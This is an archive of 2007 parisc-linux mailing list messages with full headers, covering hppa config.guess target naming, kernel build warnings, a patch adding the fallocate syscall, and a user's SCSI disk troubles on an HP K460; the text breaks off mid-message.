X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H6uXZisdeSE4eL6WZHQhu/J2IGRvb4DF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24800

> On Thu, Sep 06, 2007 at 03:11:37PM -0400, Mike Frysinger wrote:
> > i'm not terribly familiar with the breadth of the parisc family, but isnt 
> > 64bit only available with 2.0 ?  so it'd be pretty clean on Linux to say: 
> > hppa64-*-linux-* means 64bit userland, everything else is 32bit
> 
> Also, with the current config.guess, personality is totally ignored in
> favor of looking at the processor model in /proc/cpuinfo.  Not a good
> answer.

Probably, something similar to that done on hpux is needed.  However,
maybe this should wait until the toolchain merging issues are clear
for linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.23-rc5 warnings
Date: Tue, 11 Sep 2007 13:55:21 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <46E69E49.3020104__39032.6440487572$1416624439$gmane$org@scarlet.be>
References: <46E69C26.8060104@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624439 25308 80.91.229.3 (22 Nov 2014 02:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2007 13:55:28 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx053) with SMTP; 11 Sep 2007 15:55:28 +0200
Original-Received: from (ip-213-49-64-187.dsl.scarlet.be [213.49.64.187])
        by guri.is.scarlet.be  with ESMTP id l8BDtRg06524;
        Tue, 11 Sep 2007 15:55:27 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070828)
In-Reply-To: <46E69C26.8060104@scarlet.be>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ne+PKcpWMydzT4igZWplT3FraGRhZpq1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24801

Hello Helge,

Helge Deller wrote:
> On Tuesday 04 September 2007, John David Anglin wrote:
>  > Some section mismatches in 64-bit kernel build:
>  >
>  > WARNING: vmlinux.o(.text+0xb0): Section mismatch: reference to 
> .init.text:start_
>  > kernel (between '$pgt_fill_loop' and 'common_stext')
>  > WARNING: vmlinux.o(.text+0xb4): Section mismatch: reference to 
> .init.text:start_
>  > kernel (between '$pgt_fill_loop' and 'common_stext')
>  > WARNING: vmlinux.o(.text+0x290): Section mismatch: reference to 
> .init.text:smp_c
>  > allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
>  > WARNING: vmlinux.o(.text+0x294): Section mismatch: reference to 
> .init.text:smp_c
>  > allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
>  > WARNING: vmlinux.o(.text.write_profile+0x19c): Section mismatch: 
> reference to .i
>  > nit.text:setup_profiling_timer (after 'write_profile')
>  >
>  > I think there was a warning about a missing syscall fallocate.
> 
> The first two warnings are valid for 32bit as well. Reason is:
> [head.S:122]        load32          start_kernel,%r11
> 
> fallocate() syscall is missing in 32bit too.
> 
> Helge
> 
> 
So is it what we would need (I am always in doubt when _COMP and _SAME have to be used):
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 2540786..117438e 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -403,6 +403,7 @@
         ENTRY_COMP(signalfd)
         ENTRY_COMP(timerfd)
         ENTRY_SAME(eventfd)
+       ENTRY_COMP(fallocate)           /* 305 */

         /* Nothing yet */

diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index f74099b..081b4ae 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -797,8 +797,9 @@
  #define __NR_signalfd          (__NR_Linux + 302)
  #define __NR_timerfd           (__NR_Linux + 303)
  #define __NR_eventfd           (__NR_Linux + 304)
+#define __NR_fallocate         (__NR_Linux + 305)

-#define __NR_Linux_syscalls    (__NR_eventfd + 1)
+#define __NR_Linux_syscalls    (__NR_fallocate + 1)


  #define __IGNORE_select                /* newselect */
=== <> ===

Tx,
	J.



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.23-rc5 warnings
Date: Tue, 11 Sep 2007 09:47:25 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20070911134725.GA1698__14357.7806455598$1416624440$gmane$org@fattire.cabal.ca>
References: <46E69C26.8060104@scarlet.be> <46E69E49.3020104@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624440 25312 80.91.229.3 (22 Nov 2014 02:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2007 13:59:52 -0000
Original-Received: from unknown (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx067) with SMTP; 11 Sep 2007 15:59:52 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6E73B58409A;
	Tue, 11 Sep 2007 09:59:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EE6DC584097;
	Tue, 11 Sep 2007 09:59:47 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CB2A823E02; Tue, 11 Sep 2007 09:47:25 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <46E69E49.3020104@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b6nVcpElTXs8bKyRbmQ5JRdKRzdyMkOt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24802

On Tue, Sep 11, 2007 at 01:55:21PM +0000, Joel Soete wrote:
> +       ENTRY_COMP(fallocate)           /* 305 */

I have this fixed on the Apple laptop I travel with, but won't be able
to push it out until I get home. I'll release a -rcX-pa1 on Sunday when
I'm back in Ottawa.

Cheers,
	Kyle



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.23-rc5 warnings
Date: Tue, 11 Sep 2007 14:28:22 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <46E6A606.5060501__27360.9504373328$1416624440$gmane$org@scarlet.be>
References: <46E69C26.8060104@scarlet.be> <46E69E49.3020104@scarlet.be> <20070911134725.GA1698@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624440 25317 80.91.229.3 (22 Nov 2014 02:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2007 14:28:29 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx001) with SMTP; 11 Sep 2007 16:28:29 +0200
Original-Received: from (ip-213-49-64-187.dsl.scarlet.be [213.49.64.187])
        by guri.is.scarlet.be  with ESMTP id l8BESRg22117;
        Tue, 11 Sep 2007 16:28:28 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070828)
In-Reply-To: <20070911134725.GA1698@fattire.cabal.ca>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aMKOC8MMbHIzb63NNjQ02HMqJihyapDO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24803



Kyle McMartin wrote:
> On Tue, Sep 11, 2007 at 01:55:21PM +0000, Joel Soete wrote:
>> +       ENTRY_COMP(fallocate)           /* 305 */
> 
> I have this fixed on the Apple laptop I travel with, but won't be able
> to push it out until I get home. I'll release a -rcX-pa1 on Sunday when
> I'm back in Ottawa.
> 
No pb.

Have a nice travel,
	J.

> Cheers,
> 	Kyle
> 
> 



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 20:58:44 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <18144.19940.229381.116411__30792.9654758938$1416624440$gmane$org@gargle.gargle.HOWL>
References: <18141.49656.228645.911768@gargle.gargle.HOWL>
	<200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624440 25318 80.91.229.3 (22 Nov 2014 02:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 18:59:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 06 Sep 2007 20:59:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B070C7DB55;
	Thu,  6 Sep 2007 12:59:29 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FK0CjroqY-ax; Thu,  6 Sep 2007 12:59:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 605707DACA;
	Thu,  6 Sep 2007 12:59:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A89E37D87A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 12:59:11 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jDmfY25bEkLp for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 12:58:59 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 81F9F7D784
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 12:58:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost-12225.cs.tu-berlin.de (Postfix) with ESMTP id 7F6A819D50; 
	Thu,  6 Sep 2007 20:58:56 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 12224)
	with ESMTP id 26045-06; Thu,  6 Sep 2007 20:58:45 +0200 (MEST) 12655
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Thu,  6 Sep 2007 20:58:44 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.8+Sun/8.13.3/Submit) id l86Iwiq9017892; 
	Thu, 6 Sep 2007 20:58:44 +0200 (MEST)
In-Reply-To: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.17 under 21.4 (patch 20) "Double Solitaire" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de (including spamassassin)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J3zGbtnPLi5mI/fRZWtptl1jZml1ZFhq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24804

John David Anglin writes:
> believe this can be fixed.  For example, libgmp treats hppa2.0w as
> indicating a 64-bit runtime.  I'm sure you have hit this.

no python's internal copy of libffi :)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 15:11:37 -0400
Organization: wh0rd.org
Lines: 53
Approved: news@gmane.org
Message-ID: <200709061511.38991.vapier__5241.7284030982$1416624441$gmane$org@gentoo.org>
References: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1513014.gISjmhhUTA";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624441 25319 80.91.229.3 (22 Nov 2014 02:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:21 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 Matthias Klose <doko@cs.tu-berlin.de>,
 debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 19:10:39 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx099) with SMTP; 06 Sep 2007 21:10:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 6A0022E05F; Thu,  6 Sep 2007 19:17:48 +0000 (UTC)
Old-Return-Path: <vapier@gentoo.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.6 required=4.0 tests=BAYES_20,SPF_PASS 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by murphy.debian.org (Postfix) with ESMTP id C398A2DF1A
	for <debian-hppa@lists.debian.org>; Thu,  6 Sep 2007 19:17:43 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id D876864AF3;
	Thu,  6 Sep 2007 19:10:29 +0000 (UTC)
User-Agent: KMail/1.9.7
In-Reply-To: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <hi_5yD.A.jAC.cJF4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5927
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  6 Sep 2007 19:17:48 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yiGJKe4QMydzT4igZWplLSNraGRhZlqP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24805

--nextPart1513014.gISjmhhUTA
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Tuesday 04 September 2007, John David Anglin wrote:
> With respect to hppa variants, this is a hopeless mess and I don't
> believe this can be fixed.  For example, libgmp treats hppa2.0w as
> indicating a 64-bit runtime.  I'm sure you have hit this.

i think gmp is just plain broken in this respect

> Nominally, the first part of the target string represents the
> architecture of the kernel, and not the userspace architecture.
> This is not sufficient to configure runtime applications when multiple
> architectures are supported by one kernel.

i'm not terribly familiar with the breadth of the parisc family, but isnt=20
64bit only available with 2.0 ?  so it'd be pretty clean on Linux to say:=20
hppa64-*-linux-* means 64bit userland, everything else is 32bit
=2Dmike

--nextPart1513014.gISjmhhUTA
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.6 (GNU/Linux)

iQIVAwUARuBQ6kFjO5/oN/WBAQI/gg//ehoJBfx7QomGKZ1KSEWr7A1ygRzippJn
WUvbBaJE/1fLBVGHhZpA5F4oH4p25445lf5mssiWPob7H3wOjFUqxcZUWTYXia79
SF/jiainsni1hbk0XOCqcmktjxBKb4U4uGgC1FwAR7TTA0vxFAVVdzK4DSqWzoWf
M2eqqiua0wOX9QRSla11oq0s+ipk/JRBfbr/Ck9/+zasyfTgxUAgud3ceWKgEtvv
VZ6jqGeLnXKV3dY4c1hTJLyZL5zTf+PajbAdgMkVgwrUqqBrF4Oqkxirv0nrmSzR
hZbqwKJgeZp7lJE3U40ZJkg+riRyqCFe0TFqrexDEKFe0cUJwcPFzpE7vKdHH4Yf
AtO0noCo6hTQdClOMlwGtV3FOcZuAfAMylCDGonNNQVsCiNm00e5Ckervh1QMaBk
LZeXLDjcWhczOXOGswAqiGuOAcE1QJBIzabwrnugrnELbIZEfFtWRmxThgfL1pfc
Y6huhfAv4QumUcvioAuzITzceG6KGSc4Y2SnLR9JK/tw29KdOyTul9G8TzwXaVBy
qh35lhZ1kr0LGRDPrTrRvlpXrh+1TID4SLVnXV+Y+CWUwPR2CUF2/NfG5fpG8ax4
LtA9BhdC9j9aq6dDeIujfW2p1PKUhCe29fXP+xjYnLJg3mQY0Xj6kbIDqDhVuwss
X7QQCo/Nwso=
=jM4F
-----END PGP SIGNATURE-----

--nextPart1513014.gISjmhhUTA--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dieter Ries <clip2@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Resend] Again Problems with the k460
Date: Wed, 12 Sep 2007 20:17:39 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <46E82D43.9070702__16948.9098400392$1416624441$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------030003050401090109000400"
X-Trace: ger.gmane.org 1416624441 25323 80.91.229.3 (22 Nov 2014 02:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2007 18:17:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 12 Sep 2007 20:17:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C54D27DC96;
	Wed, 12 Sep 2007 12:17:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2DulwfcW8Man; Wed, 12 Sep 2007 12:17:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBCF57DC8D;
	Wed, 12 Sep 2007 12:17:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 080A67DC55
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Sep 2007 12:17:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2bPi18MUwXHn for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Sep 2007 12:17:16 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 18C157DC3C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Sep 2007 12:17:15 -0600 (MDT)
Original-Received: (qmail invoked by alias); 12 Sep 2007 18:17:15 -0000
Original-Received: from p54A8D5BE.dip.t-dialin.net (EHLO [192.168.1.11])
	[84.168.213.190]
	by mail.gmx.net (mp004) with SMTP; 12 Sep 2007 20:17:15 +0200
X-Authenticated: #6028172
User-Agent: Thunderbird 2.0.0.6 (X11/20070808)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cx/bcqZQX1VoOOuYY2Fy9rR3SDc4NIzq
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24806

This is a multi-part message in MIME format.
--------------030003050401090109000400
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit

I just posted this mail to parisc-linux@lists.parisc-linux.org, because
I thought I was on the list because of a crosspost on debian-hppa...
Sorry if that caused any inconvenience.


###############
Hi,

I have asked some questions about linux on a hp9000/889/k460 in march
2006, when I wasn't able to boot neither debian nor gentoo on it. Now I
have some time again, and I am again trying to get the machine working,
together with a friend.

We were now able to boot the latest gentoo liveCD, but we can not
install any system, because our harddisk/s is/are not recognized. there
seems to be some scsi problem. I am not too used to scsi, so maybe those
questions sound stupid to you.

The problem is the following: sometime when we were first able to boot,
we disconnected the internal 2GB scsi disk, I forgot about the exact
reason. When plugging it in again, we apparently broke the plug, so we
can not use that disk anymore. we have to scsi disks, 4 and 9GB, but I
guess, the original disk was wide scsi, and the new ones are ultra wide
or something. the plug matches, but they are definitely more modern.

We have figured out, that the disks don't even spin up if we do not
enable term power with a jumper. But whatever else we enable/disable,
there are the following messages in dmesg:

ncr53c720-3: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE
POWER etc.!

I have attached the related part of dmesg.

Could someone tell me, where our problem is, how we can get those disks
to work, or any other way to finally get something installed on that
machine?

We have two hp disk towers attached to the machine, but they are not
recognized, and we have a BA350, but they are all not connected to the
